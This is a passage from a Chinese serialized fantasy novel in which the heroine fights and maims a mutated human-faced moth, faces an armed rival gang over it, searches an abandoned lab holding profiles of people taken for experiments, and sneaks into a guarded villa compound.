而人头蛾的双翅向后一扇,整个蛾身凑上前来,紧接着,长长的舌头从嘴巴里弹了出来,直直插向林萤,似乎是想打对方一个措手不及。 不得不说,这个人头蛾是个天生的谋略家,此时林萤的身后是一个垂下来的山体,所以她无法再向后躲避,而她的左右两边虽然有空隙,但是下一刻就要被人面蛾的恰好收回来的翅膀挡住,使得她无法向左右通行。 此刻留给林萤的只有两个方向,一是向下,从人头蛾的腹部打出去,一个是斜上方,躲过人头蛾的舌头,从针口和墙面的缝隙中窜过去,但很快,这条路又被人头蛾用触角挡住了,它的触角一段黑一段灰,黑灰相间,便于隐匿,像蝎子的尾巴,又像一条长鞭。 留给林萤的,就只剩腹部了,而且它的腹部软软的、鼓鼓的、上面还覆盖着一层白色的绒毛,看上去很好攻击。 人面蛾似乎也在等待,它靠得更近了,婴儿大小的脑袋正在慢慢晃动,它的脸苍白消瘦,下巴是一个尖锐的倒三角,双眼像患了甲亢的人,暗红色的眼球高高凸起,比鼻骨还要高上几分,最重要的是,它的眼睛没有瞳孔,也没有眼白,对不准焦,似乎在盯着林萤,又似乎什么都没有看。 ——是复眼。 更近了,林萤可以闻到它身上那股奇怪的香味,她看到自己周围零星的几个鼠妇都四脚朝天翻着肚皮,腿一抖一抖,显然是中毒了。想到这里,林萤下意识扶住了额头,腰也慢慢弯了下去。 就在这时,只见人面蛾突然咧嘴笑了笑,它的舌头还在外面没有收回去,所以笑得时候一大股透明的液体从它的口角溢了出来,滴滴答答掉落到它的腹部,打湿了腹部的绒毛,林萤能看到它半透明的腹部里是一颗颗指头大小的卵。 与此同时,人面蛾锋利的舌尖对准被麻痹的猎物,它的尾巴尖快速地抖动着,一滴不明的液体从尾端掉落,泄殖腔的位置似乎动了动,一个黑色的东西刚露了个头又哆哆嗦嗦收了回去。 这时候,一直弯着腰的林萤终于动了,然而她并没有攻击人面蛾看上去毫无防备的下腹部,而是先蹲下身一个起跳,一边用带着帽子的头顶去撞人面蛾的颈部,撞得它侧向一边,同时抽出靴子里的小刀,手持小刀从蛾的上方跳到了它的背后,而后迅速将刀捅进了蛾翅的根部。 林萤捅了一下,又快速抽出刀,紧接着又捅了一下,这把刀还是上次原初给她的,锋利无比,她一直没有用过,想不到却在这里派上了用场。 两刀捅进去,就见人面蛾立即高高飞起,而后蛾腹一松,露出了藏在体内的东西。 果然——它是有尾针的! 长得弯弯曲曲,像一根螺丝,又像一截松了的弹簧。 75. 难以抑制的繁殖欲 怎么会有这么奇怪的尾针?! 现在林萤可以肯定这个人面蛾是故意露出了腹部,引诱她去攻击,目的就是乘林萤不备将尾针扎进她的身体! 这只蛾在给自己体内的卵找食物?林萤想了想,又看了看满地的大鼠妇,觉得自己的猜测站不住脚,这里分明有许多比她肉多而且容易取得的食物,根本犯不着舍近求远。 想到这里,林萤又一次将目光投向人面蛾的尾部。她绞尽脑汁,总觉得自己似乎在哪里见过这种东西:红酒开瓶器?大号螺丝? 很快,高速运转的大脑从之前看过的养殖节目里给出了她答案:鸭子,公鸭的某种器官,平时缩在体内看不到,繁殖时才弹出来,?非常长,甚至比鸭子本身的身体还要长,这一切不就和眼前的人面蛾一样吗? 尾针……泄殖腔……卵……林萤眉头一皱,一个可怕的猜想浮现在了她的脑海里——人面蛾并不是在找食物,而是在找交合对象! 一个蛾,居然会有这种想法,林萤再次看向对面那张奇怪的脸,它的脸型尖而长,鼻子仿佛被削去了一半,椭圆形的复眼让它的面部整体看上去像外星人。 它应该是在盯着林萤,尾部的“螺丝”一颤一颤,有黏糊糊的液体从上面滴落。它本能地想交合,想产籽,想诞出下一代。 ——难以抑制的繁殖欲。 意识到这点,林萤不再手下留情,她一手捂着鼻子,一手举着尖刀,后脚一蹬前脚一迈,炮仗似地冲向人面蛾,想要将它杀死。 人面蛾亦是不甘示弱,它飞速煽动翅膀,一阵阵罡风裹挟着粉尘似的鳞片直扑林萤的面门,紧接着,又伸出钩针似的长舌,长舌下方的双爪也呈抓握状,竟是想要三管齐下,直接把林萤困住。 林萤眯着眼,将刀紧紧握在手上,先是向右一扑,擦着人面蛾双翅间的缝隙钻了过去,同时用刀划破了人面蛾一侧的翅膀,还未等她站定,忽觉耳边一阵微风,紧接着耳边一阵刺痛。 回过头去,就见那钩针般的舌头如蚂蟥般扎进自己的耳侧,因为距离有些远,人面蛾的舌头被扯得笔直,林萤一手挥刀斩断蛾舌,一手将挂在自己耳边的舌尖揪了出来,林萤听到人面蛾的惨叫,趁着它痛,林萤向后一蹬,整个人以刀尖为引,如一把剑,破开凝滞的空气,直击人面蛾的头颅。 生死攸关之际,人面蛾亦是爆发出了前所未有的潜力,它不顾身上的伤口,快速抖动着分叉的残翅,速度极快地向上飞去,很快便消失在了高高的穹顶。 林萤的刀慢了一步,擦着人面蛾的尾端落下,将它的腹部划破了一个小口,同时将蛾翼扯下巴掌大的一片,一股黏腻的液体流下来,液体里裹着数个拇指大小的卵,林萤直接抬脚碾碎,尽管如此,还是让人面蛾逃走了。 她仰头望去,黑压压一片,再也找不到那两点荧光。 毫无疑问,人面蛾将翅膀收起来了,它本就善于藏匿,此刻更是豁出命地逃亡,一时间林萤还真找不到它。 不过,它受伤了,伤口应该在继续往外滴液体。 想到这一点,林萤不慌不忙,静静地竖着耳朵听四周的动静。 “滴答——” “滴答——” 这边有水声,那边也有水声。 林萤一拍额头,她差点忘了——外面在下雨,鳄鱼池里的水都流淌到了洞里,单靠声音根本辨别不出方位。 她一边走一边找寻,顺手取出那些死掉的鼠妇体内的进化核,这些进化核红豆大小,色泽接近鼠妇的肤色。 鼠妇的进化核应该可以让皮肤变得有韧性? 想到这里,林萤收回刀,直起身,将手掌中的进化核全部碾碎尽数吸收,她等了片刻,而后捏了捏自己的胳膊,不知是不是心理作用,她确实感觉到自己的皮肤变得更加有弹性了,只不过这种变化非常细微。 而后她又抬起头,看向无边际的上空,如果有个强力手电筒就好了,那样的话她有百分之八十的把握可以找到人面蛾,但现在四周太黑,黑暗能吞噬一切颜色,包括人面蛾翅膀上的荧光。林萤又摸了摸后背,上面空空如也,并没有背着那只蛾。 这让林萤松了一口气,她抬起脚正打算回去找个手电筒,再下来捉那只人面蛾。 恰好这时,上方传来原初和小雨的呼唤声,林萤朝他们喊话,让他们找来一根长绳,最终她借着长绳的力量爬了上来。 一露头,林萤就听到了小雨咋咋呼呼的声音,“呀,你身上这一层是啥?” 她低头看去,就见自己刚穿没多久的新外衣变得发白发旧,上面覆盖着一层薄薄的粉末——是人面蛾翅膀上的鳞片。林萤忙拦住小雨跃跃欲试的手,“有毒!你别动,我来。” 她抖了抖身子,又拍打一番,才将衣服上的东西弄干净,抬起头,就对上原初关切的眼神,“怎么下去了这么久,还受伤了?” 林萤笑着问道:“你一口气问了两个问题,想要让我先回答哪个?” 说话间,她随手摸了一把耳后,垂头一看指尖全是血迹,却并不觉得疼,也不觉得痒,她还想再摸一下,原初却已经掏出随身携带的碘伏棉签,来到林萤的侧后方,弯下腰,小心翼翼为她沾去伤口旁边的血痕。 原初的动作太轻,弄得林萤耳根直痒痒,忍不住想挠两下。 “别动。” 就在这时,身侧的原初却停止了动作,他似乎又靠近了些,像是在仔细观察伤口,片刻后,他将手中的棉签放进包装袋里,一起收了起来。 “怎么了?”林萤回过头,下意识摸了摸自己的伤口,手下的皮肤光滑细腻,哪里还有半点受伤了的样子。 ——伤口已经愈合了。 转头,对上原初了然的眼神,林萤粲然一笑。 一旁的小雨看着两人,觉得莫名其妙,“笑什么,她不是受伤了吗,还高兴?” 林萤道:“不 是我的血,里面有个会飞的怪物,这是它的血。” 小雨的眼瞪得比铜铃还大,“里面有怪物?!” 林萤点点头,将下去的见闻略做浅说,在听到林萤说下面有个三十多米的深坑时,小雨吓得面色发白,他想起自己拿着手电筒探着身子向那个洞口里照的情景,当时他要是再向前半步,此时怕已经摔成了肉饼,被那些鼠妇分食了。想到这里,他这个坑里也待不住了,立即要爬上去。 恰在此时,从大坑上方探出了半个红色的伞边,接着是马浩哲圆圆的大脑袋,他捏着鼻子,闷沉沉叫道:“林萤,你吓死你小马哥了,二话不说突然跳下去,真的很吓人!” 林萤笑了笑道:“抱歉抱歉,事发突然……” “你在下面待了快半个小时,要不是原医生说你没事,我还真的以为你挂了呢!” 林萤道:“真没事,离挂还差了一大截!” 马浩哲道:“没事就好,那你们还在下面干啥呢,快上来啊!” 小雨答:“马上!马上!” 大脑袋和红雨伞同时向后一撤,微凉的空气里传来马浩哲越来越远的声音,“真是久居茅厕不闻其臭……” 此时,雨慢慢变小又从小变无,昼光渐消,天地一片朦胧,白日将尽。 两个战斧的小伙据说早已回家,阿曹和刘先生在走廊上的靠椅上坐着休息,马西梅也来了,她正举着手机在发语音,几人看见从大坑里出来的林萤都迎了上来。 马西梅率先出口,“哎呀,我总说自己胆子大,可今天一看,哪里比得上你胆大!不吭一声就跳下去,也不怕下面再有啥……” 林萤后面跟着小雨,他没等马西梅说完便道:“有,梅姨,下面真的有怪物!”说着,他展开双臂比划了一下,“林萤说有这么大!” 待马西梅稍稍走近,林萤低声询问她淼淼的情况,马西梅让林萤宽心,说淼淼已经被爸妈接回家了。林萤点了点头,不再谈相关的话题。 阿曹和刘先生也走上前来,两个人步伐一致面上的表情却各不相同,阿曹是那种遇到了麻烦眉头紧皱的样子,而刘先生则一脸好奇,双眼闪烁着亮光,隐隐有些兴奋。 两人看向林萤,异口同声,“什么怪物?” 林萤见众人都很好奇,斟酌片刻,道:“下面除了成群的大鼠妇,还有一只长着人脸的蛾,我想,它应当就是刘先生说的人面蛾……” 她一边讲,一边在脑中绘制着人面蛾的画像: 人面蛾,身长60多公分,展翅后总长约1米70,头部大小类似婴儿,五官分布与人脸相似,生着复眼,脖细而长,三对足,状如蜘蛛,没有发声器官,只能依靠腹腔的挤压发出声音。它善于藏匿,尤其是在昏暗的环境中,动时悄无声息,连飞翔都没有声音,双翅有眼睛图案的花纹,花纹中央的眼珠有荧光,像庞然大物的双眼。生殖器官类似公鸭,并且意图与高级生物交合…… 76. 沉默的舞者 她越说,刘先生越兴奋,连连道:“是了,是了,除了大小与刘寿材说的有出入,其他都一模一样,就是人面蛾,只不过这只进化了,是一只进化了的人面蛾!” 马浩哲则是发出雅音,“卧槽!它一个蛾,它还想跟人……那个?” 林萤点点头,“是啊!我到现在都不知道它是雌的还是雄的,它肚子里明明有卵,尾端的雄性特征却很明显……刘先生,当初记载的人面蛾也是这样雌雄同体的吗?” 刘先生皱起眉头,稍作思索,而后摸着下巴道:“这个还真没有,雌蛾抱籽雄蛾授精,一贯是这样。” 马浩哲道:“已经不能拿正常眼光去看它了,变异,绝对是变异了!” 小雨附和:“对,肯定是这样!” 林萤没有做声,算是默认了马浩哲的观点,她的目光扫视了一下面前的人,除了马浩哲和阿曹,剩下的全是进化者,想来有一战之力。 于是她道:“所以更不能放任它离去,它受了伤,这会儿正是虚弱的时候,我们必须趁它还在地底就把它解决了,若是等它出来,天高地阔,再想抓住就难了。”说着,她看向众人,“有人愿意跟我一起下去吗?我们需要拿上一个大功率手电筒。” 小雨道:“行啊,我要下去!” 原初道:“还需要一个人在上面守着,防止人面蛾从上方的洞口飞走。” 林萤点点头,正要继续刚才的话题,突然就听马浩哲惊呼一声,“擦,你们怎么又来了?” 顺着他的目光看去,就见一帮穿着黑色制服的人出现在了两栖爬行馆的门口,他们的最前方是个扎着蝎尾辫的黑衣女子,一行人如一团乌云,黑沉沉压了过来。 ——不是别人,正是邓汐和她那帮手下。 又是他们! 一看到来人,林萤这边的人顿时警觉起来,纷纷站在了一起,面带防备地看向他们。 此时,最前方的邓汐嘴角噙着笑,显然心情不错。 她道:“我听到了哦,下面有个进化了的东西,还长着翅膀和人脸……我猜,是那个大茧里出来的吧?” 马西梅道:“是又怎么样?” 邓汐似乎没有聊下去的打算,她直接道:“长话短说,那个东西归我们了!” 这时,刘先生站了出来,他道:“别,那东西留着必然是个祸害!” “是祸害还是宝,你说了不算!”邓汐拔出了自己腰间的枪,指了指正要上前一步的刘先生,“刘阎王,我说了,面子越用越薄,现在,退回去!” 刘先生收回迈出去的左脚,“你们做事不能只为自己。” “不为自己难道为你?假大空的话骗骗别人就行了,别连您自己都骗喽!”说着,邓汐冲自己身后的人扬了扬下巴,“你们几个拿上工具,去把那个东西弄出来!” 那几个人还没走,突然,一阵淅淅索索的动静从不远处传来,林萤转过头,就见一个近似少年的身影从大坑里爬了出来,而后那少年抖动几番,将身上的泥土全部抖落,紧接着便抬头看了过来,正面向林萤。 !!! 人面蛾! 林萤觉得那对复眼像无数射灯,紧紧地锁定着自己的身影——它认出自己了! “哇!” “卧槽!!!” 不只林萤,周围的人都看到了,这是活生生的人面蛾! 不同于林萤口中干巴巴的描述,亲眼看到它,强烈的视觉冲击令众人的呼吸都滞了一瞬,片刻的安静后,接二连三的惊呼声响起。 林萤还未来得及制止,就见那人面蛾“哗”地一下,展开了硕大的翅膀,它翅膀上的旧伤仍在,但丝毫未影响它的动作。 就见它如一位翩然起舞的芭蕾舞者,纤长尖锐的趾是舞者的足尖,随光舞动的翅是舞者的裙摆,它盘旋向上,凌空起舞,翅膀上的鳞片星子一样闪烁着向下坠去。 不止小雨他们,就连林萤也被眼前这一幕美得晃了神。 直到原初叫道:“糟糕,它要逃!” 众人这才回过神来,就见那人面蛾已经飞到了近六米的高空,眼见就要继续向上飞去。这下子,不仅林萤一行人,就连一善门那边都慌了。 小雨叫道:“怎么办,已经飞走了!” 马浩哲道:“呀呀呀!这下也不用再复原那臭蛹了!” 一善门这边则是惋惜,“到口的鸭子还没吃上……” 这时,林萤也顾不了什么敌我之分了,她忙对邓汐道:“愣什么,快开枪啊!” “好!” 邓汐像是才反应过来,她忙抬起手,连开两枪,一枪勉强击中了人面蛾的右翼,将它的翅膀击穿了一个洞,另外一枪却放空了。 并非是她的枪法不准,而是人面蛾的动作太快,两枪是连续放的,间隔不过几秒,人面蛾却已飞到数丈开外。 “大姐,你行不行啊,不行你把枪给我,我来!”小雨一边叫道,一边朝邓汐的方向走来。 林萤快步跟上他问道:“你行?” 小雨道:“真枪没打过,但是射击游戏我百发百中。” 邓汐还要再继续开枪,她身后的小眼镜提醒道:“邓姐,就剩一发子弹了。” “你闭嘴!”邓汐怒斥。 林萤和小雨已经来到了一善门众人面前,她说:“你要是拿不准,就让我们的人试试!” 邓汐还在犹豫,就听小雨道:“快给我,不然飞走了谁都得不到!” 邓汐抬头看了眼即将变成一个黑点的人面蛾,跺了跺脚,直接将枪递给了小雨。同时又暗中让自己的小弟呈半包围状围住了林萤和小雨两人,怕他们将自己的家伙抢了去。 就见小雨眯起一只眼,抬臂射击,动作行云流水,就像模拟了千万次。 随着枪响,就见天边那抹黑点突然一顿,而后缓缓向下坠去,越坠越快,就要坠落在地。 一旁传来马浩哲的惊呼声:“厉害了!” 小雨腼腆地笑道:“其实打偏了,我瞄准的是它的头部……” 林萤目测了一下距离,而后迈开步伐, 朝人面蛾坠落的方向追去,中途遇到鳄鱼池的围墙,她也未停顿,脚尖轻点地,直接跃了过去。 邓汐反应过来,一把夺回小雨手中的枪,招呼一善门的人返回车上,开着车,七拐八拐追去。 其余人也没闲着,追的追,喊的喊,沉寂的动物园许久没有这么热闹过了。 另一边,林萤将自己的速度提到了极限,两点之间直线最短,她没有绕道,遇见墙便翻过去,遇见低矮的建筑也是一跃而上从楼顶跑过去,好在动物园没有高层。她一路跑跳,如一抹残影,顺利在人面蛾落地的前一秒找到了它的踪迹。 这里不是别处,正是邓汐上次射杀战斧老大的那片草坪,不远处便是动物园的正门。 人面蛾还没有死,它半卧在草地上,尖锐的趾扣破地面,转过头看向林萤,发出“嗬嗬——”的动静,似乎是在警告。 小雨那一枪恰好命中了它硕大的上腹部,此时一股半透明的黏液裹着颗颗椭圆形的卵从它的伤口处流了出来,林萤仔细一瞧,发现那些卵外层是透明的,里面有一个黑色的小点,看上去就像是青蛙产的卵。而它之前被林萤划破的伤口已经干涸凝固,尽管看上去仍旧骇人,但这个恢复速度已经称得上快了。 林萤走过去,两只脚踏住人面蛾的翅膀,而后迎着人面蛾看不出情绪的复眼,指尖轻点,在它的体内找到了两枚进化核。一枚大一枚小,大的是黑紫色,小的则是灰白色,都是半透明状的,看上去十分奇特。 林萤不语,直接将这两枚进化核收了起来,而后又掏出手机对着人面蛾拍了几张照片。 期间,人面蛾挣扎着想要动作,但林萤的双脚就像是固定标本的昆虫针,紧紧地将它钉在大地上。而它的半个口器早就在攻击时被轻轻地掐住,又打了一个结,夹在了林萤的小腿间。 在取出进化核后,人面蛾原本近似少年的身躯逐渐变小,缩短成水盆大小,但是它的翅膀并没有变,还是像两片大风筝似地挂在背上。林萤猜测,这是因为它的翅膀是附肢,没有血管皮肉,就像人的指甲一样,一旦长出来就定型了,不会随着进化核的取出而改变。 不过它的其余部位倒是会随着取出进化核就变回原来的模样,这点与人类一样。 正在这时,身后响起车辆的声音,伴随着邓汐熟悉的嗓音:“你做了什么!它为什么变小了?” 不用回头,林萤也知道是一善门那帮人来了。与此同时,不远处隐约能听到马浩哲的惊呼声和摩托车的响动,想必是马西梅他们也过来了。 一善门的人下了车,“嘭”地一声关上车门,气势汹汹地走过来,将林萤围了起来。 众人的目光都在林萤脚下的人面蛾上,只见草上的雨水全沾在了蛾的身上,它小头小身,绒毛湿漉漉的,蜷缩在一起,像一只弃猫,和方才夜幕中舞蹈的精灵大相径庭。 “回答我,你做了什么?” 面对邓汐的责问,林萤扫了他们几眼,见他们都两手空空,反问道:“你们不是想要它吗?打算用手抱回去?” 77. 四张“简历” 邓汐一噎,低头仔细看向人面蛾,但见它的前趾紧紧缩在一起,将脸包裹起来,中间一对足高高举着,挡在枪伤的前方,而它的后足则紧扣着地,似乎在蓄力。相较于它现在体型,那对被林萤踩着的翅膀称得上巨大,显得分外不协调。 邓汐又抬头,将目光移到林萤身上,“你把它怎么了,它怎么会变成这样?” 林萤道:“我能把它怎么样,我过来的时候它就这样了。” 邓汐指着人面蛾的尾巴尖道:“如果不是你取走了它的灵珠,它不可能缩小,而且,别以为我看不出来,它身上除了枪伤,还有一个伤口,明显就是刚出现的!” 这时候,原初和马浩哲一行人也来了,原初拨开挡在林萤侧面的人,站在了她的身旁,马西梅和马浩哲也纷纷站在了林萤的身后。 林萤笑了笑,指了指别在邓汐腰间的枪道:“需要我提醒一下吗,你没有子弹了。”面对邓汐不解的眼神,林萤徐徐解释道:“意思就是,现在咱们是平等的,我对你们一善门没有好感,又为什么要听你们的?” 令林萤意料之外的是,她的话音刚落,对面的人都笑了起来,尤其是邓汐,笑得上气不接下气。 林萤还未说话,马浩哲急了,他叫道:“你们笑什么?” 邓汐后方的小眼镜道:“我们的弹夹就在车上,邓姐早就补满子弹了。” 邓汐总算停止了笑容,她将枪拿在手中,轻轻道:“我邓汐,从来不会让弹匣空着。” 说着,她斜着眼,一眨不眨盯着林萤,而她持枪的右臂伸直,微微用力,朝地面开了一枪。 “呯!” 剧烈的响动声吓了众人一跳,林萤也是眼皮连跳两下,她摸了摸兜,从里面掏出来一颗红豆大小的暗褐色进化核,拍在了邓汐的左手心,“拿着吧,既然你那么想要。” 而后,乘邓汐还没有反应过来,林萤轻轻一跳,从人面蛾的翅膀上跳到了一旁的草地上,“人面蛾,也送给你们了!” 林萤的双脚刚一离开,人面蛾紧扣地面的后足猛地一蹬,蛾身“呼”地腾空,随后它扇动翅膀,又一次飞了起来,只不过这次它飞得不高,速度也慢了许多。 邓汐叫道:“快!快!抓住它!要活的!” 一善门的人纷纷朝那只蛾追了过去。 小雨急道:“我们也去追啊,不能把那蛾放出去!” 马西梅似乎也有些着急,她扭过头来看着林萤,似乎只要对方同意,就会甩开腿去追那只邪恶的人面蛾。 林萤拍了拍手,看向围过来的马浩哲等人,抽出靴子外侧的刀道:“放心,我已经把那只蛾骟了,用的就是这把刀,真可惜,我本来打算拿它削水果的……” “啊?骟了?”小雨道:“可是你还把灵珠给了他们……” 林萤道:“你要是想要,那个灵珠我等下就能给你弄好几十个——那是大鼠妇体内的,和人面蛾没关系。” 小雨这才恍然大悟,难怪刚才林萤那么干脆就给了他们,原来是这样。 他不好意思地挠了挠头,“我还以为你怕了他们呢!” 林萤道:“怕他们也正常,毕竟他们有枪啊!我在地下和那个人面蛾打了十几分钟都没分出个胜负,你一枪就把它打了个半死,所以说,怕热武器是正常的。” 林萤想了想,又嘱咐道:“回去了跟你势力那些小伙伴也多说说,别以为进化了就是无敌的,现阶段,热武器的杀伤力远在进化之上。” 小雨望向林萤,认真地点了点头,“既然那人面蛾没了威胁,我们可以回家了吧?” 马浩哲摸了摸肚子,道:“对啊,这会天也黑了,肚子也饿了,而且那个邓汐还不知道我们骗了她,等她反应过来我们可能就走不了了。” 阿曹道:“对对!趁那个邓汐还蒙在鼓里,走为上策!” 马西梅也道:“撤!赶紧!” 说罢,阿曹和小雨便向不远处的三轮车走去。 看了看追逐着人面蛾越跑越远的一善门门人,林萤不再犹豫,正要往回走,突然却听见了一声呼唤。 “林萤,你是叫林萤吧?” 喊住林萤的人不是别人,而是刘先生,他走到林萤跟前,突然递给她一个纸包,林萤狐疑地接过来打开,里面竟是刘先生胸前常挂的那块籽玉。 刘先生道:“这是我以前在南疆一处废弃的玉矿捡的,不值钱,却也是我身上最宝贝的东西了,据说它能保佑平安。只求你以后在对上邓汐时,不要杀她,留她一条命。” 林萤惊道:“刘先生,您在说什么,我怎么可能杀人?而且这也太贵重了,我不能拿!” 刘先生却强硬地将东西塞给林萤,“邓汐她……她是我一位故人的孩子,本性不坏,只是不知道为什么变成了这样,你与她有一段缘,只是缘里带着血,来日你打残她打伤她都行,但求你手下留情,留她一条命……多谢了。” 说罢,便头也不回地走了。 林萤转过身,看向同样不解的原初等人,马西梅思索道:“故人的孩子,不会是他那表兄弟刘三针的孩子吧,可是不该姓刘吗?” 邓汐将籽料拿在手里颠了颠,时间紧迫,来不及多想,几人返回摩托车,而后呼啸着从另外一边的侧门离去。 林萤并没有同马浩哲一起回去,她向马西梅打听了一下刘三针家的位置,而后和原初两个人骑着车离去。原本林萤还想去一趟刘三针的小诊所,可是被马西梅告知那个诊所早就不营业了,而且早就在一周前退了租,诊所里的东西也全搬走了。 马浩哲在一旁挠头道:“穷人乍富也改不了吝啬的毛病,我要是有一个亿,我才不搬走,我直接买下来,省得跑来跑去!” 马西梅瞥他一眼,“这就是你和富人的区别了,他都那么有钱了,住穷人堆里不就像是掉进狼群里的羊?再说了,他现在干那个挖灵珠的事,他敢当着大家的面干吗?当然是能躲开就躲开了!” 马浩哲咂了咂嘴,思索片刻,道:“说得也是……” 林萤和原初在之前去过的那所小学,他们将摩托车放在路边的绿化带里,两个人轻车熟路来到实验楼外。 此时,实验楼的大门紧闭,灯也全关着。 林萤二人绕着实验楼转了一圈,而后在二楼某处发现了一扇被打破的窗户,林萤记得那曾是放置大茧的房间。 他们从这里进到实验楼,发现此处遍地都是蛾子,死了的没死的,像花色的地毯。原本放在罩子里的大茧却不见了,应该是被转移到了他处。 两人小心翼翼绕过地上的“蛾体炸弹”,打开紧锁的房门,沿 着黑漆漆的走廊从这头走到那头,将实验楼里面查看了个遍。 让林萤稍感安心的是他们并没有遇到第二个如淼淼一样的受害者。但是在一个上着锁的实验室里,他们却看到了四张类似简历的纸张,里面不仅有淼淼,还有另外三个人。 简历的左上角是姓名性别年龄等信息,右上角是彩色照片。林萤注意到其中有一个男生分外眼熟,原初也看到了,此人不是别人,正是与林萤有过一番过节的赵毅千。 难不成他也被改造了? 林萤将印有赵毅千的那张简历拿在手中仔细查看,就见他的简历与其他几人的有些不太一样,除了纸质不如其他简历硬朗,印刷不如其他简历清晰,就连上面的内容也有几处不同。最明显的就是状态一栏,淼淼上面写着“接收”二字,赵毅千上面写着“待实验”,而其他几人则写着“待查看”。 林萤和原初猜测,这些简历并不是源自一善门,而是从其他地方拿来的,只有赵毅千一个人的是一善门自己照着其他人的样子做的。而上面的状态,正是这些实验者的状态。淼淼的“接收”,是说她已经被一善门接收了,所以林萤才在这里遇到了她。 原初道:“还有这里。” 他葱白的指尖在纸上某处画了个圈,就见那处写着“来源:主动联系”,而其他人都写的是地点。 林萤道:“我原本以为他会被那些人打死,没想到他还活着。” 原初却道:“杀人哪有那么容易?尤其是对没杀过人的人来说,这是一个很难攻克的心理关。那几个拦咱们车的人一看就是徒有其表,没一个杀过人的,所以最大的可能性就是将他打个半死,然后扔在原地任他自生自灭。但以赵毅千的个性,主动寻求改造很符合他想要变强大的愿望。” 林萤感叹道:“像是打不死的小强。” 原初道:“很贴切的形容。” 林萤将这些简历通通拍了下来,又放回原处,接着又拐到了隔壁的房间。 这里放了许多进化核,上面标注着来源,大多数都是小动物的进化核,大型动物只有一个,是个骆驼的进化核,锁在一个透明的展示柜里,柜子通着电,显然连着警报系统。林萤转了一圈没看见人类的进化核,随后便走了出来。 另外一个房间则像是个简陋的手术室,靠窗的地方是一张病床,房间里的设备大多都很陈旧,像是用了许久,只有病床上罩着的天蓝色一次性医用床单看上去是全新的。 原初看了看一旁放着的手术刀,调侃道这是一把破伤风之刀,也不知道是用来治病的还是用来杀人的。 说话间,林萤来到了放置淼淼的那间房,里面仍是林萤离去时的模样,看样子对方似乎并没有发现笼子里的人丢了。 下午这帮人应当是忙着应付漫天的飞蛾和转移大茧,竟然将笼子里活生生的人给忘了。庆幸之余,林萤也有些愤怒,很显然,对一善门来说,淼淼算不上珍贵和特别,否则也不会连一口饭都没留给她。 不过这也让林萤意识到一善门的人并不多,管理也并不是很严格。想来也是,从第一枚进化核卖出到现在也不过十天半个月,一善门能发展成如今众人皆知的势力,绝对称得上迅速了。 见再无其他,两人不再停留,拿回摩托,朝着另外一个方向疾驰而去。 78. 加入外勤分队 夜风呼啸,却吹不散空中的水汽,湿湿答答黏在林萤的皮肤上,风将她的脸吹得凉飕飕。 方才马西梅告诉林萤,那个刘三针原本就住在附近的居民楼,但是自从卖出了那枚天价进化核后,他便搬到了一幢花园别墅小区里,小区不是个新小区,但胜在地理位置好。马西梅之前也并不知道,还是听一个常在刘三针那看病的病友说的,只知道小区的名字,却不知道具体是哪幢。 路上,林萤又遇到了九鼎阁的施粥点,橙黄色的灯光在暗夜里看上去格外温暖,热乎乎的粥上冒着白色的雾气,一碗一碗分发到众人手中,给这寒冷的夜添了几分温情,也使得林萤行驶速度变慢,不由得多看了几眼。 不多时,林萤二人来到了一处名为“玫瑰公馆”的小区。 别的先不说,这个小区的物业一定是顶级的,仅从门口站立的保安便可窥得一二——谁家门卫配真枪啊! 林萤从门前缓缓骑过,尽管隔得八丈远,林萤却能清晰的感受到从自己出现在门前的那一刻,门口保安的目光便一直追随着摩托车的身影,不对,用“追随”太温和,应当是紧紧“盯着”,就像警察看嫌犯那样,直到林萤的车拐了一个弯,绕到了小区的另一侧,那股如影随形的被监视感才消失了。 林萤在路边的树下缓缓停下车,她看向后面的人,“原医生,你确定是在这个小区?我可是听说青檀有好几个叫玫瑰的小区呢!” 原初点了点头,“因为这家是最火的而且也是房价最高的,最重要的是……”原初举起手机,“我查到近一个月只有这个小区的房子有二手房交易记录。” 林萤道:“那还等什么!” 两人将摩托车藏进一片绿色的冬青树后,熟练地翻墙上瓦,来到了小区里。 这里没有高层,而是一幢幢独立的别墅,配套着近三百平米的花园和别墅间比路面还要宽的绿化带隔断,使得每幢别墅都有属于自己的私密空间,小区里除了茂密的植被几乎看不到人影。 虽然绿化多,但此处的灯光更为充足,星星点点的炫彩灯串缠在树木上,绕在花枝间,还有暖黄色的感应灯随着人的脚步慢慢将周围照亮,使得这些影影绰绰的绿植并没有夜里惯有的阴森感,反而如宝树般晶莹灿烂。 林萤放眼望去,黄花绿树,深吸一口气,秋桂的香气在鼻尖荡漾,银杏铺就的金色小路弯弯曲曲,通向小区中央的水池,烤肠一样的香蒲正摇晃着枝干播撒棉絮一样的种子,池边有凉亭假山,池面碧波荡漾,池里游鱼个个比猪还要肥。 直线距离不过千米,一边是吃不饱的人,一边是吃吐了的鱼,这大概就是古人说的“朱门酒肉臭,路有冻死骨”吧! 林萤紧随着原初,两人避开密集的摄像头和偶尔从别墅里窜出来的不知名犬种,耗时颇久,才来到了一幢门前挂着红布的别墅。 这座别墅三边都是白色的高墙,靠近门的一侧是黑色的栅栏,同色系的拱形栅栏小门,门上是盘成一团的凌霄花,此时已过花期,偶尔有几个开得晚的花朵,也皱巴巴的没有什么精神。 林萤看了眼别墅周围的摄像头,对原初道:“恐怕还没到门口,我们就已经被对方发现了。” 原初想了想,道:“还记得刚刚路过一个地下车库的入口吗?我们从那边进去。” 林萤道:“可是我记得那有门禁,我们没有钥匙。” 原初道:“没事,我们先过去看看,万一正好有人出来呢?” 林萤点了点头,“大不了我暴力破开!” 说罢,她又看了一眼墙边上的编号:C39,暗自记了下来,而后和原初一起来到了地下车库的入口。 这边有一个需要刷卡的闸门,林萤推了推,门一丝不动,正当她准备大力出奇迹时,就见原初拿出一把机械钥匙,用钥匙插入旁边的备用锁孔,顺时针转动半圈,“咔”一声,原本紧闭的闸门居然真的开了。 “这种门比较好开。”感受到林萤诧异的目光,原初淡定地道:“大学课程太简单,我就辅修了锁具设计,没想到还真能派上用场。” 林萤原本诧异的目光变得迷茫而复杂,“大学课程简单?” 原初推开门,顺着楼梯向下走去,声音回荡在空荡荡的楼梯间,“是啊,那时候我太无聊了,所以我没事就去其他专业蹭课,你可能不知道,学到最后,我感觉万事万物都是相通的,所以……” 正在这时,原初突然止住了声音,并且放慢了走路速度,和林萤并排走到了一起。 就听一阵脚步声从不远处传来,一个裹着大衣的男人迎面朝林萤二人走来,那个男人全身上下裹得严严实实,帽子、墨镜、口罩、围巾、手套,就连袜子似乎也比普通的袜子要长上许多,长长的袜子盖住了他的脚腕,让他本来就有些短的西裤不至于看上去局促。 